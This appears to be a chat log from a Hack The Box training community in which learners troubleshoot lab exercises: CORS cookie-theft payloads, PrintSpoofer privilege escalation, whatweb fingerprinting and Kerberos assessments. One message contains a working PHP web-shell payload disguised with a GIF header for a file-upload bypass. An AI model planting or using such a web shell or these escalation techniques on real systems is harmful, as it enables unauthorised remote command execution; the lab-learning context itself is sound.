Im making a request to vulnerablesite.htb/profile.php to fetch the flag.
But for some reason my cookie is not being sent with the request.
The origin and allowed origins are the same and the allow credentials header is true.
I am logged into vulnerablesite.htb so the cookie is in my browser.

Attached code and request/response

[river grove]

If I try making the request without the port number I get cors error cause origin will have the port

[rustic sage]

Hey all, I'm going through API Attacks module and in Broken Auth , I execute otp n reset password (Got the SuccessStatus: true),. Logged-in with Mason email n reset password and received token but on checking Role he has, it says No role assigned. Can someone nudge me in the right direction (feel free to dm)?

[storm elk]

Every payload I have in my notes are without port

[river grove]

I dont know how to access the pages without specifying the port number. I cant add port number to the hosts file

[storm elk]

Your victim visits your payloads

[river grove]

but ye that could be why it doesnt work

[storm elk]

The victim doesn’t need the port

[river grove]

mm well true, Im just trying to make it work for myself right now with my own cookie

Ill try focusing on sending it to the target direcly

[storm elk]

Okay 🙂

I’ll check my notes and try tomorrow if you’re still stuck. It’s 9pm for me

[steady dust]

any idea why I receive this error whil running printspoofer? Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
CreateProcessAsUser() failed. Error: 2

[river grove]

Seems to work when I send it to the target, thanks

[storm elk]

Glad to hear. Have fun with the rest of the module

[solid quarry]

@gloomy lichen sup, what port you used for the revshell?

[solid quarry]

Try GodPotato printspoofer for me is always a hit or miss

[gleaming thistle]

Hey whenever I spawn an instance in Pwnbox whenever I go to http://[target IP]:5601 it takes forever to establish the connection, is this normal? Also do i have to install a separate VPN connection file for openvpn every time I make a new instance of pwnbox ?(and do I even have to do that in general)

[fathom pendant]

Try https

[fathom pendant]

Also you don't need to run the vpn to use the in-browser vm

In-browser vm connects to the vpn automatically

[gloomy lichen]

hey, the good old super sneaky 4444

[gleaming thistle]

Okay sweet thank you! is it normal for it to take awhile to establish a connection with the target IP? (usually around 7-10 minutes of reloading the page until it makes the connection after spawning target ip)

[fathom pendant]

Sometimes it takes a few minutes to launch all service

[gleaming thistle]

Okay thank you!

[solid quarry]

Thats strange, I'm doing some tests and not even a single port work, time to restart again then

Nevermind now worked

[steady dust]

I tried the other method.

[rustic sage]

NVM

[frail canopy]

Trying to bruteforce a user which is md5 Encoded. Tutorial says use ZAP Proxy but i absolutly don‘t Like that Tool. Any Tool recommendation ?

[fathom pendant]

Use burp ig

[minor dome]

In a module it explains that the command 'wappalyzer' is used to find CMS, which is what I need, but it says command not found. Am I putting it in wrong?

[fathom pendant]

Wappalyzer is a browser extension

Also it's very hit or miss

[minor dome]

What should I use instead to find the CMS?

[fathom pendant]

I found whatweb to be more reliable

And its cli

[minor dome]

Ok thank you

[fathom pendant]

whatweb -a3 -v http://site.com

Is the command iirc

[minor dome]

I can find the apache and the operating system but I still cant find the content management. Am I still doing something wrong for that?

[fathom pendant]

You need the vhosts

[minor dome]

so the end shouldnt be just the ip it should be 10.129.11.33 app.inlanefreight.local dev.inlanefreight.local?

[fathom pendant]

No

It should be one of the two vhosts

That you put in your /etc/hosts file

[minor dome]

Gotcha ok thanks

[wraith pelican]

if you simply visit the website in your browser, it can give you the answer you're looking for

[fathom pendant]

The exercise is to use cli tools

Not to mention it can be a guess, I can put the default Ubuntu apache html on another system if I wanted to. Security through obscurity

[wraith pelican]

yeah all right and change the favicon as well, it would be just unlikely

[analog dock]

You can see the flag file

It’s what you snipped 🙃

[fathom pendant]

It's not labeled flag.txt

[spare fossil]

I tried that, it doesnt go through, even without the GIF8, I ever tried to decode it thinking it's encoded

[analog dock]

What is the file you uploaded?

The content of it

[spare fossil]

the .txt file there echo GIF8

[spare fossil]

GIF8<?php system($_GET["cmd"]); ?>

apparently, everything other command echo GIF8 now, maybe something is wrong, i will reset and restart

That's the one !!!!!!!!!!!!!!!

Thanks dude 😭

[fathom pendant]

Spoilers

Should probably delete this since spoiler

Lol

Deleted as I replied

[ocean night]

https://tenor.com/view/thor-avenger-mjolnir-hammer-gif-16377773

[fathom pendant]

But glad you could overcome skill issue

[wanton idol]

LOLL

[spare fossil]

everything echo GIF8 then the data, all other command would just echo GIF8, in other words nothin maaaaannn thanks @wraith pelican 😭

[fathom pendant]

It's echoing the prefix

[wraith pelican]

lol sorry for spoiling i didn't know this was the correct thing to cat... i was looking for flagxxxxx.txt as marcie said

[spare fossil]

Exactly.... that messed me up!

[fathom pendant]

Apply braincells

It's also likely that way on purpose

[spare fossil]

😂 i didnt think it would work too..... until it did 😂

[fathom pendant]

To get you to be mindful about it

[fathom pendant]

I said it's not flag.txt

[wraith pelican]

sorry i should throw rose petals when i speak and marcie is here.. sorry .. sorry

[fathom pendant]

https://tenor.com/view/sistermichael-weirdo-derrygirls-nun-gif-13670009

[wraith pelican]

i'll go back in my cave sorry

[analog dock]

You should use a newline in future so you can keep them apart

[night shuttle]

Why can't I talk in the general chat?

[ocean night]

#welcome

You need to verify your account

(on https://app.hackthebox.com)

[night shuttle]

@ocean night Can you go to my DM for 2 minutes please? To see if you could help me with a few simple questions

[ocean night]

Are they questions you cannot ask here?

(or in general etc once you verify)

Also, I'm not support

[night shuttle]

It's about the scoring system, I already read the platform documents but I haven't reached a conclusion yet.

[ocean night]

I'd advise raising a support request with our team via https://help.hackthebox.com then 🙂

[night shuttle]

Brother, I have been waiting for a response for 2 hours xd

[ocean night]

They will come back to you, please be patient.

[night shuttle]

OK

[broken moss]

Any tips on guessing credentials for the KERBEROS ATTACKS skills assessment? Or "finding" them?

[shut quest]

Most everything on HTB isn't guessing, but if you need to guess it will be something simple.

[hoary gull]

Hi ! Hope you're doing well ! I've just discovered sysreptors and I had some question. Just to make sure that i've understood everything, "all" we have to do for the CPTS, is to add the findings, appendice, detailed walkthrough etc in the Htb provided sysreptor design right ?

[broken moss]

Using the provided users.txt list, try to get access to the domain. What's the name of the user whose credentials or hash you found?

[fathom pendant]

Basically yes, and some other stuff like filling in name and such